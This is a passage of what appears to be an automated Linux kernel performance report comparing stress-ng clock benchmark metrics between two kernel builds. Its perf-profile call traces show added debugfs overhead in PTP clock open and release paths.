mpstat.cpu.all.sys% 200469 -10.7% 178950 vmstat.system.cs 135153 -7.8% 124597 vmstat.system.in 2804514 -12.7% 2448917 stress-ng.clock.ops 46741 -12.7% 40815 stress-ng.clock.ops_per_sec 78.00 +2.6% 80.00 stress-ng.time.percent_of_cpu_this_job_got 5606454 -12.7% 4896355 stress-ng.time.voluntary_context_switches 18583 ± 5% +31.1% 24360 ± 9% turbostat.C1 2.90 ± 2% +0.1 3.03 turbostat.C1E% 5353747 -13.0% 4655189 turbostat.POLL 0.28 -0.0 0.24 turbostat.POLL% 10.11 +1.4% 10.25 turbostat.RAMWatt 88825 -6.6% 82944 proc-vmstat.nr_active_anon 11367 +4.6% 11892 proc-vmstat.nr_mapped 96532 -6.6% 90119 proc-vmstat.nr_shmem 19819 +4.1% 20633 proc-vmstat.nr_slab_reclaimable 88825 -6.6% 82944 proc-vmstat.nr_zone_active_anon 420661 +27.6% 536903 ± 35% proc-vmstat.numa_hit 420556 +27.4% 535725 ± 36% proc-vmstat.numa_local 133275 -6.9% 124053 proc-vmstat.pgactivate 488366 ± 2% +60.4% 783374 proc-vmstat.pgalloc_normal 227687 +3.2% 234860 proc-vmstat.pgfault 323139 ± 3% +94.6% 628694 proc-vmstat.pgfree 0.00 ±141% +325.0% 0.01 ± 26% perf-sched.sch_delay.avg.ms.kjournald2.kthread.ret_from_fork.ret_from_fork_asm 0.01 ±217% +455.3% 0.04 ± 68% perf-sched.sch_delay.max.ms.__cond_resched.__kmem_cache_alloc_node.__kmalloc_node.alloc_cpumask_var_node.clock_was_set 0.10 ± 14% +66.8% 0.16 ± 15% perf-sched.sch_delay.max.ms.do_nanosleep.hrtimer_nanosleep.common_nsleep_timens.__x64_sys_clock_nanosleep 0.00 ±141% +325.0% 0.01 ± 26% perf-sched.sch_delay.max.ms.kjournald2.kthread.ret_from_fork.ret_from_fork_asm 0.91 ± 21% -53.8% 0.42 ± 55% perf-sched.sch_delay.max.ms.smpboot_thread_fn.kthread.ret_from_fork.ret_from_fork_asm 1.27 +18.7% 1.51 perf-sched.total_wait_and_delay.average.ms 1.27 +18.7% 1.51 perf-sched.total_wait_time.average.ms 18.82 ± 20% +59.4% 29.99 ± 27% perf-sched.wait_and_delay.avg.ms.__cond_resched.generic_perform_write.shmem_file_write_iter.vfs_write.ksys_write 1278 ± 2% +16.3% 1487 ± 3% perf-sched.wait_and_delay.count.smpboot_thread_fn.kthread.ret_from_fork.ret_from_fork_asm 220.33 ± 5% +14.1% 251.33 ± 2% perf-sched.wait_and_delay.count.worker_thread.kthread.ret_from_fork.ret_from_fork_asm 0.20 ± 13% +63.7% 0.33 ± 14% perf-sched.wait_and_delay.max.ms.do_nanosleep.hrtimer_nanosleep.common_nsleep_timens.__x64_sys_clock_nanosleep 18.82 ± 20% +59.4% 29.99 ± 27% perf-sched.wait_time.avg.ms.__cond_resched.generic_perform_write.shmem_file_write_iter.vfs_write.ksys_write 0.01 ±208% +433.3% 0.05 ± 64% perf-sched.wait_time.max.ms.__cond_resched.__kmem_cache_alloc_node.__kmalloc_node.alloc_cpumask_var_node.clock_was_set 0.10 ± 12% +60.7% 0.16 ± 13% perf-sched.wait_time.max.ms.do_nanosleep.hrtimer_nanosleep.common_nsleep_timens.__x64_sys_clock_nanosleep 0.13 +35.1% 0.17 ± 2% perf-stat.i.MPKI 9.417e+08 +4.1% 9.8e+08 perf-stat.i.branch-instructions 4.24 ± 2% +0.6 4.81 ± 2% perf-stat.i.cache-miss-rate% 1107890 +23.8% 1371103 ± 2% perf-stat.i.cache-misses 18969540 +28.6% 24388966 perf-stat.i.cache-references 210406 -11.1% 187069 perf-stat.i.context-switches 1.15 -3.5% 1.11 perf-stat.i.cpi 185.83 ± 2% +7.7% 200.19 ± 4% perf-stat.i.cpu-migrations 56299 ± 6% -64.8% 19830 ± 6% perf-stat.i.cycles-between-cache-misses 1.249e+09 +2.7% 1.283e+09 perf-stat.i.dTLB-loads 0.00 ± 6% +0.0 0.00 ± 4% perf-stat.i.dTLB-store-miss-rate% 7425 ± 5% +12.8% 8373 ± 4% perf-stat.i.dTLB-store-misses 7.573e+08 +2.3% 7.746e+08 perf-stat.i.dTLB-stores 6674913 ± 2% -5.5% 6305796 perf-stat.i.iTLB-load-misses 5.03e+09 +3.1% 5.184e+09 perf-stat.i.instructions 1159 +5.5% 1222 ± 2% perf-stat.i.instructions-per-iTLB-miss 0.89 +3.0% 0.92 perf-stat.i.ipc 536.86 +28.0% 687.18 perf-stat.i.metric.K/sec 81.89 +3.0% 84.38 perf-stat.i.metric.M/sec 2127 +5.2% 2239 ± 2% perf-stat.i.minor-faults 106399 ± 2% +36.0% 144713 ± 3% perf-stat.i.node-loads 106511 ± 5% +71.6% 182771 ± 3% perf-stat.i.node-stores 2127 +5.2% 2239 ± 2% perf-stat.i.page-faults 0.22 +20.1% 0.26 ± 2% perf-stat.overall.MPKI 1.09 -2.6% 1.06 perf-stat.overall.cpi 4955 -18.8% 4021 ± 2% perf-stat.overall.cycles-between-cache-misses 0.00 ± 5% +0.0 0.00 ± 4% perf-stat.overall.dTLB-store-miss-rate% 753.96 +9.1% 822.64 ± 2% perf-stat.overall.instructions-per-iTLB-miss 0.92 +2.7% 0.94 perf-stat.overall.ipc 9.27e+08 +4.1% 9.648e+08 perf-stat.ps.branch-instructions 1090868 +23.8% 1350235 ± 2% perf-stat.ps.cache-misses 18670301 +28.6% 24005580 perf-stat.ps.cache-references 207054 -11.1% 184104 perf-stat.ps.context-switches 182.86 ± 2% +7.7% 197.01 ± 4% perf-stat.ps.cpu-migrations 1.229e+09 +2.7% 1.263e+09 perf-stat.ps.dTLB-loads 7309 ± 5% +12.8% 8244 ± 4% perf-stat.ps.dTLB-store-misses 7.454e+08 +2.3% 7.624e+08 perf-stat.ps.dTLB-stores 6568626 ± 2% -5.5% 6205894 perf-stat.ps.iTLB-load-misses 4.951e+09 +3.1% 5.103e+09 perf-stat.ps.instructions 2094 +5.2% 2204 ± 2% perf-stat.ps.minor-faults 104758 ± 2% +36.0% 142499 ± 3% perf-stat.ps.node-loads 104880 ± 5% +71.6% 179969 ± 3% perf-stat.ps.node-stores 2094 +5.2% 2204 ± 2% perf-stat.ps.page-faults 3.124e+11 +3.9% 3.245e+11 perf-stat.total.instructions 9.42 ± 5% -2.2 7.20 ± 8% perf-profile.calltrace.cycles-pp.clock_gettime 9.26 ± 5% -2.2 7.08 ± 8% perf-profile.calltrace.cycles-pp.entry_SYSCALL_64_after_hwframe.clock_gettime 9.24 ± 5% -2.2 7.07 ± 8% perf-profile.calltrace.cycles-pp.do_syscall_64.entry_SYSCALL_64_after_hwframe.clock_gettime 8.84 ± 5% -2.2 6.67 ± 9% perf-profile.calltrace.cycles-pp.e1000e_read_systim.e1000e_phc_gettimex.pc_clock_gettime.__x64_sys_clock_gettime.do_syscall_64 9.20 ± 5% -2.2 7.04 ± 8% perf-profile.calltrace.cycles-pp.__x64_sys_clock_gettime.do_syscall_64.entry_SYSCALL_64_after_hwframe.clock_gettime 8.96 ± 5% -2.2 6.81 ± 8% perf-profile.calltrace.cycles-pp.e1000e_phc_gettimex.pc_clock_gettime.__x64_sys_clock_gettime.do_syscall_64.entry_SYSCALL_64_after_hwframe 9.12 ± 5% -2.1 6.98 ± 8% perf-profile.calltrace.cycles-pp.pc_clock_gettime.__x64_sys_clock_gettime.do_syscall_64.entry_SYSCALL_64_after_hwframe.clock_gettime 10.96 ± 2% -2.0 8.98 ± 8% perf-profile.calltrace.cycles-pp.syscall 10.98 ± 3% -1.7 9.28 ± 9% perf-profile.calltrace.cycles-pp.clock_adjtime 10.09 ± 3% -1.5 8.55 ± 10% perf-profile.calltrace.cycles-pp.entry_SYSCALL_64_after_hwframe.clock_adjtime 9.94 ± 3% -1.5 8.42 ± 10% perf-profile.calltrace.cycles-pp.do_syscall_64.entry_SYSCALL_64_after_hwframe.clock_adjtime 9.68 ± 3% -1.5 8.20 ± 10% perf-profile.calltrace.cycles-pp.__do_sys_clock_adjtime.do_syscall_64.entry_SYSCALL_64_after_hwframe.clock_adjtime 8.53 ± 4% -1.3 7.22 ± 9% perf-profile.calltrace.cycles-pp.do_adjtimex.__do_sys_clock_adjtime.do_syscall_64.entry_SYSCALL_64_after_hwframe.clock_adjtime 6.44 ± 5% -1.2 5.20 ± 10% perf-profile.calltrace.cycles-pp.poll_idle.cpuidle_enter_state.cpuidle_enter.cpuidle_idle_call.do_idle 6.22 ± 4% -1.1 5.12 ± 11% perf-profile.calltrace.cycles-pp.entry_SYSCALL_64_after_hwframe.syscall 5.59 ± 3% -1.0 4.59 ± 11% perf-profile.calltrace.cycles-pp.do_syscall_64.entry_SYSCALL_64_after_hwframe.syscall 6.42 ± 3% -0.9 5.51 ± 10% perf-profile.calltrace.cycles-pp.timekeeping_inject_offset.do_adjtimex.__do_sys_clock_adjtime.do_syscall_64.entry_SYSCALL_64_after_hwframe 5.86 ± 3% -0.9 5.00 ± 9% perf-profile.calltrace.cycles-pp.clock_was_set.timekeeping_inject_offset.do_adjtimex.__do_sys_clock_adjtime.do_syscall_64 3.34 ± 5% -0.7 2.68 ± 11% perf-profile.calltrace.cycles-pp.__x64_sys_clock_gettime.do_syscall_64.entry_SYSCALL_64_after_hwframe.syscall 2.99 ± 9% -0.6 2.34 ± 14% perf-profile.calltrace.cycles-pp.sysvec_apic_timer_interrupt.asm_sysvec_apic_timer_interrupt.poll_idle.cpuidle_enter_state.cpuidle_enter 2.47 ± 13% -0.5 1.94 ± 15% perf-profile.calltrace.cycles-pp.__sysvec_apic_timer_interrupt.sysvec_apic_timer_interrupt.asm_sysvec_apic_timer_interrupt.poll_idle.cpuidle_enter_state 3.31 ± 3% -0.5 2.83 ± 8% perf-profile.calltrace.cycles-pp._raw_spin_lock_irqsave.clock_was_set.timekeeping_inject_offset.do_adjtimex.__do_sys_clock_adjtime 2.78 ± 3% -0.4 2.42 ± 10% perf-profile.calltrace.cycles-pp.timer_create 2.37 ± 3% -0.3 2.07 ± 10% perf-profile.calltrace.cycles-pp.entry_SYSCALL_64_after_hwframe.timer_create 2.33 ± 3% -0.3 2.03 ± 10% perf-profile.calltrace.cycles-pp.do_syscall_64.entry_SYSCALL_64_after_hwframe.timer_create 1.64 ± 3% -0.3 1.36 ± 10% perf-profile.calltrace.cycles-pp.add_device_randomness.do_adjtimex.__do_sys_clock_adjtime.do_syscall_64.entry_SYSCALL_64_after_hwframe 1.43 ± 3% -0.3 1.16 ± 11% perf-profile.calltrace.cycles-pp.blake2s_compress.blake2s_update.add_device_randomness.do_adjtimex.__do_sys_clock_adjtime 1.52 ± 3% -0.3 1.26 ± 11% perf-profile.calltrace.cycles-pp.blake2s_update.add_device_randomness.do_adjtimex.__do_sys_clock_adjtime.do_syscall_64 1.23 ± 8% -0.2 0.99 ± 12% perf-profile.calltrace.cycles-pp.posix_cpu_clock_get.__x64_sys_clock_gettime.do_syscall_64.entry_SYSCALL_64_after_hwframe.syscall 1.02 ± 5% -0.1 0.88 ± 12% perf-profile.calltrace.cycles-pp.read_tsc.ktime_get_update_offsets_now.clock_was_set.timekeeping_inject_offset.do_adjtimex 0.74 ± 4% -0.1 0.61 ± 13% perf-profile.calltrace.cycles-pp.ttwu_do_activate.try_to_wake_up.hrtimer_wakeup.__hrtimer_run_queues.hrtimer_interrupt 0.47 ± 45% +0.4 0.90 ± 17% perf-profile.calltrace.cycles-pp.smpboot_thread_fn.kthread.ret_from_fork.ret_from_fork_asm 0.00 +0.7 0.69 ± 10% perf-profile.calltrace.cycles-pp.lookup_one_len.start_creating.__debugfs_create_file.ptp_open.posix_clock_open 0.00 +0.7 0.72 ± 12% perf-profile.calltrace.cycles-pp.dput.simple_recursive_removal.debugfs_remove.ptp_release.posix_clock_release 0.00 +0.7 0.75 ± 14% perf-profile.calltrace.cycles-pp.lookup_one_len.start_creating.debugfs_create_dir.ptp_open.posix_clock_open 0.00 +0.8 0.75 ± 12% perf-profile.calltrace.cycles-pp.start_creating.__debugfs_create_file.ptp_open.posix_clock_open.chrdev_open 0.00 +0.9 0.86 ± 15% perf-profile.calltrace.cycles-pp.start_creating.debugfs_create_dir.ptp_open.posix_clock_open.chrdev_open 0.00 +0.9 0.91 ± 14% perf-profile.calltrace.cycles-pp.mnt_get_count.mntput_no_expire.simple_recursive_removal.debugfs_remove.ptp_release 0.00 +1.0 1.05 ± 13% perf-profile.calltrace.cycles-pp.mntput_no_expire.simple_recursive_removal.debugfs_remove.ptp_release.posix_clock_release 0.00 +1.3 1.26 ± 12% perf-profile.calltrace.cycles-pp.__debugfs_create_file.ptp_open.posix_clock_open.chrdev_open.do_dentry_open 0.00 +1.5 1.47 ± 13% perf-profile.calltrace.cycles-pp.debugfs_create_dir.ptp_open.posix_clock_open.chrdev_open.do_dentry_open 0.00 +2.4 2.42 ± 11% perf-profile.calltrace.cycles-pp.simple_recursive_removal.debugfs_remove.ptp_release.posix_clock_release.__fput 0.00 +3.0 2.95 ± 11% perf-profile.calltrace.cycles-pp.debugfs_remove.ptp_release.posix_clock_release.__fput.__x64_sys_close 1.74 ± 5% +3.0 4.71 ± 8% perf-profile.calltrace.cycles-pp.do_dentry_open.do_open.path_openat.do_filp_open.do_sys_openat2 2.90 ± 6% +3.0 5.87 ± 9% perf-profile.calltrace.cycles-pp.path_openat.do_filp_open.do_sys_openat2.__x64_sys_openat.do_syscall_64 1.35 ± 6% +3.0 4.33 ± 8% perf-profile.calltrace.cycles-pp.posix_clock_open.chrdev_open.do_dentry_open.do_open.path_openat 1.42 ± 6% +3.0 4.41 ± 8% perf-profile.calltrace.cycles-pp.chrdev_open.do_dentry_open.do_open.path_openat.do_filp_open 2.02 ± 5% +3.0 5.01 ± 8% perf-profile.calltrace.cycles-pp.do_open.path_openat.do_filp_open.do_sys_openat2.__x64_sys_openat 2.95 ± 6% +3.0 5.95 ± 9% perf-profile.calltrace.cycles-pp.do_filp_open.do_sys_openat2.__x64_sys_openat.do_syscall_64.entry_SYSCALL_64_after_hwframe 3.51 ± 6% +3.0 6.51 ± 9% perf-profile.calltrace.cycles-pp.do_sys_openat2.__x64_sys_openat.do_syscall_64.entry_SYSCALL_64_after_hwframe.open64 3.54 ± 6% +3.0 6.55 ± 9% perf-profile.calltrace.cycles-pp.__x64_sys_openat.do_syscall_64.entry_SYSCALL_64_after_hwframe.open64 1.18 ± 6% +3.0 4.21 ± 8% perf-profile.calltrace.cycles-pp.ptp_open.posix_clock_open.chrdev_open.do_dentry_open.do_open 3.57 ± 6% +3.0 6.61 ± 9% perf-profile.calltrace.cycles-pp.do_syscall_64.entry_SYSCALL_64_after_hwframe.open64 3.75 ± 6% +3.1 6.82 ± 10% perf-profile.calltrace.cycles-pp.open64 3.58 ± 6% +3.1 6.66 ± 10% perf-profile.calltrace.cycles-pp.entry_SYSCALL_64_after_hwframe.open64 0.93 ± 11% +3.2 4.16 ± 11% perf-profile.calltrace.cycles-pp.entry_SYSCALL_64_after_hwframe.__close 0.90 ± 11% +3.2 4.13 ± 11% perf-profile.calltrace.cycles-pp.do_syscall_64.entry_SYSCALL_64_after_hwframe.__close 0.87 ± 11% +3.2 4.10 ± 12% perf-profile.calltrace.cycles-pp.__x64_sys_close.do_syscall_64.entry_SYSCALL_64_after_hwframe.__close 1.06 ± 8% +3.2 4.30 ± 11% perf-profile.calltrace.cycles-pp.__close 0.51 ± 45% +3.4 3.91 ± 12% perf-profile.calltrace.cycles-pp.__fput.__x64_sys_close.do_syscall_64.entry_SYSCALL_64_after_hwframe.__close 0.00 +3.6 3.59 ± 11% perf-profile.calltrace.cycles-pp.ptp_release.posix_clock_release.__fput.__x64_sys_close.do_syscall_64 0.00 +3.7 3.68 ± 11% perf-profile.calltrace.cycles-pp.posix_clock_release.__fput.__x64_sys_close.do_syscall_64.entry_SYSCALL_64_after_hwframe 12.58 ± 4% -2.8 9.74 ± 9% perf-profile.children.cycles-pp.__x64_sys_clock_gettime 9.42 ± 5% -2.2 7.20 ± 8% perf-profile.children.cycles-pp.clock_gettime 8.84 ± 5% -2.2 6.67 ± 9% perf-profile.children.cycles-pp.e1000e_read_systim 8.97 ± 5% -2.2 6.81 ± 8% perf-profile.children.cycles-pp.e1000e_phc_gettimex 9.12 ± 5% -2.1 6.98 ± 8% perf-profile.children.cycles-pp.pc_clock_gettime 10.92 ± 3% -1.8 9.07 ± 8% perf-profile.children.cycles-pp.syscall 11.24 ± 3% -1.7 9.51 ± 10% perf-profile.children.cycles-pp.clock_adjtime 9.69 ± 3% -1.5 8.21 ± 10% perf-profile.children.cycles-pp.__do_sys_clock_adjtime 7.19 ± 4% -1.4 5.80 ± 10% perf-profile.children.cycles-pp.poll_idle 8.53 ± 4% -1.3 7.22 ± 9% perf-profile.children.cycles-pp.do_adjtimex 6.42 ± 3% -0.9 5.51 ± 10% perf-profile.children.cycles-pp.timekeeping_inject_offset 5.93 ± 3% -0.9 5.06 ± 9% perf-profile.children.cycles-pp.clock_was_set 4.47 ± 3% -0.5 3.98 ± 7% perf-profile.children.cycles-pp._raw_spin_lock_irqsave 2.37 ± 3% -0.4 1.95 ± 9% perf-profile.children.cycles-pp.entry_SYSRETQ_unsafe_stack 2.88 ± 2% -0.4 2.50 ± 10% perf-profile.children.cycles-pp.timer_create 2.08 ± 3% -0.3 1.74 ± 9% perf-profile.children.cycles-pp.read_tsc 1.65 ± 3% -0.3 1.37 ± 11% perf-profile.children.cycles-pp.add_device_randomness 1.43 ± 3% -0.3 1.16 ± 11% perf-profile.children.cycles-pp.blake2s_compress 1.53 ± 3% -0.3 1.26 ± 11% perf-profile.children.cycles-pp.blake2s_update 1.74 ± 5% -0.3 1.48 ± 8% perf-profile.children.cycles-pp.hrtimer_wakeup 1.24 ± 8% -0.2 1.00 ± 12% perf-profile.children.cycles-pp.posix_cpu_clock_get 1.70 ± 5% -0.2 1.46 ± 8% perf-profile.children.cycles-pp.try_to_wake_up 1.81 ± 6% -0.2 1.59 ± 11% perf-profile.children.cycles-pp.ktime_get_update_offsets_now 1.14 ± 3% -0.2 0.96 ± 10% perf-profile.children.cycles-pp.ttwu_do_activate 0.91 ± 3% -0.2 0.73 ± 13% perf-profile.children.cycles-pp.rep_movs_alternative 1.20 ± 6% -0.2 1.02 ± 9% perf-profile.children.cycles-pp.lapic_next_deadline 1.04 ± 4% -0.2 0.87 ± 13% perf-profile.children.cycles-pp.hrtimer_start_range_ns 1.00 ± 4% -0.1 0.86 ± 10% perf-profile.children.cycles-pp.activate_task 0.96 ± 5% -0.1 0.83 ± 10% perf-profile.children.cycles-pp.syscall_exit_to_user_mode 0.46 ± 7% -0.1 0.33 ± 15% perf-profile.children.cycles-pp._raw_spin_unlock_irqrestore 0.54 ± 8% -0.1 0.42 ± 16% perf-profile.children.cycles-pp.clockevents_program_min_delta 1.04 ± 4% -0.1 0.94 ± 6% perf-profile.children.cycles-pp.memset_orig 0.52 ± 8% -0.1 0.42 ± 10% perf-profile.children.cycles-pp.entry_SYSCALL_64_safe_stack 0.22 ± 17% -0.1 0.14 ± 34% perf-profile.children.cycles-pp.posix_get_monotonic_timespec 0.22 ± 20% -0.1 0.14 ± 20% perf-profile.children.cycles-pp.ktime_get_real_ts64 0.11 ± 20% -0.1 0.05 ± 51% perf-profile.children.cycles-pp.__cgroup_account_cputime 0.22 ± 9% -0.1 0.16 ± 16% perf-profile.children.cycles-pp.posix_get_boottime_timespec 0.12 ± 7% -0.0 0.08 ± 27% perf-profile.children.cycles-pp.update_curr_fair 0.06 ± 46% +0.0 0.10 ± 25% perf-profile.children.cycles-pp.memcpy_orig 0.01 ±223% +0.1 0.07 ± 21% perf-profile.children.cycles-pp.rcu_nocb_try_bypass 0.00 +0.1 0.06 ± 14% perf-profile.children.cycles-pp.default_pointer 0.00 +0.1 0.07 ± 15% perf-profile.children.cycles-pp.__srcu_read_unlock 0.00 +0.1 0.08 ± 32% perf-profile.children.cycles-pp.iput 0.00 +0.1 0.08 ± 23% perf-profile.children.cycles-pp.lookup_one_common 0.00 +0.1 0.09 ± 18% perf-profile.children.cycles-pp.inode_init_once 0.00 +0.1 0.09 ± 22% perf-profile.children.cycles-pp.__srcu_read_lock 0.00 +0.1 0.09 ± 26% perf-profile.children.cycles-pp.up_write 0.00 +0.1 0.09 ± 20% perf-profile.children.cycles-pp.__d_lookup 0.00 +0.1 0.10 ± 19% perf-profile.children.cycles-pp.setup_object 0.14 ± 20% +0.1 0.24 ± 13% perf-profile.children.cycles-pp.get_obj_cgroup_from_current 0.00 +0.1 0.10 ± 27% perf-profile.children.cycles-pp.shrink_dcache_parent 0.02 ±142% +0.1 0.12 ± 9% perf-profile.children.cycles-pp.lockref_put_or_lock 0.00 +0.1 0.10 ± 20% perf-profile.children.cycles-pp.d_lookup 0.00 +0.1 0.10 ± 18% perf-profile.children.cycles-pp.__wake_up_common_lock 0.00 +0.1 0.11 ± 17% perf-profile.children.cycles-pp.lookup_dcache 0.00 +0.1 0.11 ± 22% perf-profile.children.cycles-pp.shuffle_freelist 0.00 +0.1 0.12 ± 17% perf-profile.children.cycles-pp.d_instantiate 0.00 +0.1 0.12 ± 24% perf-profile.children.cycles-pp.down_write 0.10 ± 36% +0.1 0.23 ± 29% perf-profile.children.cycles-pp.obj_cgroup_charge 0.00 +0.1 0.14 ± 24% perf-profile.children.cycles-pp.allocate_slab 0.00 +0.1 0.14 ± 36% perf-profile.children.cycles-pp.memcg_list_lru_alloc 0.00 +0.1 0.14 ± 34% perf-profile.children.cycles-pp.d_walk 0.00 +0.1 0.14 ± 5% perf-profile.children.cycles-pp.number 0.00 +0.2 0.16 ± 16% perf-profile.children.cycles-pp.__destroy_inode 0.00 +0.2 0.16 ± 16% perf-profile.children.cycles-pp.dentry_unlink_inode 0.10 ± 26% +0.2 0.26 ± 18% perf-profile.children.cycles-pp.___slab_alloc 0.00 +0.2 0.17 ± 17% perf-profile.children.cycles-pp.destroy_inode 0.00 +0.2 0.18 ± 13% perf-profile.children.cycles-pp.fsnotify_grab_connector 0.27 ± 20% +0.2 0.44 ± 12% perf-profile.children.cycles-pp.__call_rcu_common 0.34 ± 14% +0.2 0.52 ± 15% perf-profile.children.cycles-pp.mod_objcg_state 0.00 +0.2 0.19 ± 8% perf-profile.children.cycles-pp.inode_init_always 0.00 +0.2 0.22 ± 15% perf-profile.children.cycles-pp.fsnotify_destroy_marks 0.40 ± 12% +0.3 0.66 ± 18% perf-profile.children.cycles-pp.memcg_slab_post_alloc_hook 0.00 +0.3 0.26 ± 22% perf-profile.children.cycles-pp.d_invalidate 0.00 +0.3 0.28 ± 10% perf-profile.children.cycles-pp.__d_add 0.00 +0.3 0.30 ± 11% perf-profile.children.cycles-pp.simple_lookup 0.00 +0.3 0.32 ± 15% perf-profile.children.cycles-pp.evict 0.55 ± 9% +0.4 0.90 ± 17% perf-profile.children.cycles-pp.smpboot_thread_fn 0.14 ± 24% +0.4 0.50 ± 15% perf-profile.children.cycles-pp._find_next_bit 0.00 +0.4 0.37 ± 11% perf-profile.children.cycles-pp.sprintf 0.00 +0.4 0.37 ± 11% perf-profile.children.cycles-pp.vsnprintf 0.00 +0.4 0.43 ± 15% perf-profile.children.cycles-pp.slab_pre_alloc_hook 0.00 +0.6 0.58 ± 12% perf-profile.children.cycles-pp.__d_alloc 1.69 ± 7% +0.6 2.30 ± 14% perf-profile.children.cycles-pp.__do_softirq 1.15 ± 4% +0.6 1.80 ± 17% perf-profile.children.cycles-pp.rcu_do_batch 1.26 ± 4% +0.6 1.91 ± 15% perf-profile.children.cycles-pp.rcu_core 0.00 +0.7 0.70 ± 14% perf-profile.children.cycles-pp.alloc_inode 0.00 +0.8 0.76 ± 10% perf-profile.children.cycles-pp.d_alloc 0.00 +0.8 0.84 ± 11% perf-profile.children.cycles-pp.d_alloc_parallel 0.59 ± 6% +0.9 1.46 ± 5% perf-profile.children.cycles-pp._raw_spin_lock 0.00 +0.9 0.91 ± 11% perf-profile.children.cycles-pp.new_inode 0.00 +1.0 1.01 ± 15% perf-profile.children.cycles-pp.kmem_cache_alloc_lru 0.00 +1.0 1.05 ± 11% perf-profile.children.cycles-pp.__dentry_kill 0.00 +1.1 1.10 ± 11% perf-profile.children.cycles-pp.dentry_kill 0.00 +1.2 1.16 ± 11% perf-profile.children.cycles-pp.__lookup_slow 0.10 ± 30% +1.2 1.31 ± 10% perf-profile.children.cycles-pp.dput 0.00 +1.3 1.26 ± 12% perf-profile.children.cycles-pp.__debugfs_create_file 0.00 +1.4 1.44 ± 13% perf-profile.children.cycles-pp.mnt_get_count 0.00 +1.4 1.44 ± 11% perf-profile.children.cycles-pp.lookup_one_len 0.00 +1.5 1.47 ± 13% perf-profile.children.cycles-pp.debugfs_create_dir 0.01 ±223% +1.6 1.60 ± 13% perf-profile.children.cycles-pp.mntput_no_expire 0.00 +1.6 1.61 ± 11% perf-profile.children.cycles-pp.start_creating 0.00 +2.4 2.43 ± 12% perf-profile.children.cycles-pp.simple_recursive_removal 0.00 +3.0 2.96 ± 11% perf-profile.children.cycles-pp.debugfs_remove 1.75 ± 5% +3.0 4.71 ± 8% perf-profile.children.cycles-pp.do_dentry_open 1.35 ± 6% +3.0 4.33 ± 8% perf-profile.children.cycles-pp.posix_clock_open 2.93 ± 5% +3.0 5.91 ± 9% perf-profile.children.cycles-pp.path_openat 1.42 ± 6% +3.0 4.41 ± 8% perf-profile.children.cycles-pp.chrdev_open 2.03 ± 5% +3.0 5.02 ± 8% perf-profile.children.cycles-pp.do_open 2.97 ± 6% +3.0 5.98 ± 9% perf-profile.children.cycles-pp.do_filp_open 3.54 ± 6% +3.0 6.56 ± 9% perf-profile.children.cycles-pp.do_sys_openat2 3.57 ± 6% +3.0 6.59 ± 9% perf-profile.children.cycles-pp.__x64_sys_openat 1.18 ± 6% +3.0 4.22 ± 8% perf-profile.children.cycles-pp.ptp_open 3.79 ± 6% +3.1 6.84 ± 10% perf-profile.children.cycles-pp.open64 0.87 ± 11% +3.2 4.10 ± 12% perf-profile.children.cycles-pp.__x64_sys_close 1.09 ± 9% +3.2 4.34 ± 11% perf-profile.children.cycles-pp.__close 0.59 ± 11% +3.3 3.92 ± 12% perf-profile.children.cycles-pp.__fput 0.31 ± 19% +3.4 3.68 ± 11% perf-profile.children.cycles-pp.posix_clock_release 0.18 ± 15% +3.4 3.59 ± 11% perf-profile.children.cycles-pp.ptp_release 8.84 ± 5% -2.2 6.67 ± 9% perf-profile.self.cycles-pp.e1000e_read_systim 3.55 ± 7% -0.8 2.72 ± 14% perf-profile.self.cycles-pp.poll_idle 4.42 ± 3% -0.5 3.92 ± 7% perf-profile.self.cycles-pp._raw_spin_lock_irqsave 2.32 ± 4% -0.4 1.90 ± 9% perf-profile.self.cycles-pp.entry_SYSRETQ_unsafe_stack 2.01 ± 3% -0.3 1.70 ± 8% perf-profile.self.cycles-pp.read_tsc 1.78 ± 5% -0.3 1.50 ± 9% perf-profile.self.cycles-pp.syscall 1.43 ± 3% -0.3 1.16 ± 11% perf-profile.self.cycles-pp.blake2s_compress 1.08 ± 5% -0.2 0.88 ± 15% perf-profile.self.cycles-pp._copy_to_user 1.20 ± 6% -0.2 1.02 ± 9% perf-profile.self.cycles-pp.lapic_next_deadline 0.56 ± 4% -0.1 0.44 ± 17% perf-profile.self.cycles-pp.rep_movs_alternative 0.42 ± 8% -0.1 0.30 ± 16% perf-profile.self.cycles-pp._raw_spin_unlock_irqrestore 0.52 ± 8% -0.1 0.42 ± 10% perf-profile.self.cycles-pp.entry_SYSCALL_64_safe_stack 0.38 ± 10% -0.1 0.30 ± 19% perf-profile.self.cycles-pp.syscall_enter_from_user_mode 0.44 ± 9% -0.1 0.36 ± 9% perf-profile.self.cycles-pp.__schedule 0.28 ± 14% -0.1 0.20 ± 10% perf-profile.self.cycles-pp.exit_to_user_mode_prepare 0.09 ± 29% -0.1 0.04 ± 72% perf-profile.self.cycles-pp.do_adjtimex 0.21 ± 13% -0.0 0.16 ± 10% perf-profile.self.cycles-pp.__update_load_avg_se 0.12 ± 8% -0.0 0.08 ± 22% perf-profile.self.cycles-pp.update_curr_fair 0.13 ± 20% -0.0 0.10 ± 10% perf-profile.self.cycles-pp.apparmor_capable 0.06 ± 50% +0.0 0.10 ± 16% perf-profile.self.cycles-pp.get_obj_cgroup_from_current 0.02 ±144% +0.1 0.07 ± 17% perf-profile.self.cycles-pp.do_filp_open 0.17 ± 16% +0.1 0.23 ± 12% perf-profile.self.cycles-pp.put_timespec64 0.02 ±141% +0.1 0.08 ± 27% perf-profile.self.cycles-pp.___slab_alloc 0.00 +0.1 0.07 ± 15% perf-profile.self.cycles-pp.__srcu_read_unlock 0.02 ±141% +0.1 0.09 ± 24% perf-profile.self.cycles-pp.lockref_put_or_lock 0.44 ± 9% +0.1 0.52 ± 9% perf-profile.self.cycles-pp.kmem_cache_free 0.00 +0.1 0.09 ± 21% perf-profile.self.cycles-pp.inode_init_once 0.00 +0.1 0.09 ± 21% perf-profile.self.cycles-pp.__srcu_read_lock 0.00 +0.1 0.09 ± 25% perf-profile.self.cycles-pp.up_write 0.00 +0.1 0.09 ± 21% perf-profile.self.cycles-pp.__d_lookup 0.00 +0.1 0.09 ± 26% perf-profile.self.cycles-pp.down_write 0.00 +0.1 0.09 ± 27% perf-profile.self.cycles-pp.slab_pre_alloc_hook 0.01 ±223% +0.1 0.11 ± 51% perf-profile.self.cycles-pp.mntput_no_expire 0.00 +0.1 0.11 ± 9% perf-profile.self.cycles-pp.kmem_cache_alloc_lru 0.00 +0.1 0.12 ± 12% perf-profile.self.cycles-pp.inode_init_always 0.00 +0.1 0.14 ± 5% perf-profile.self.cycles-pp.number 0.26 ± 19% +0.2 0.44 ± 18% 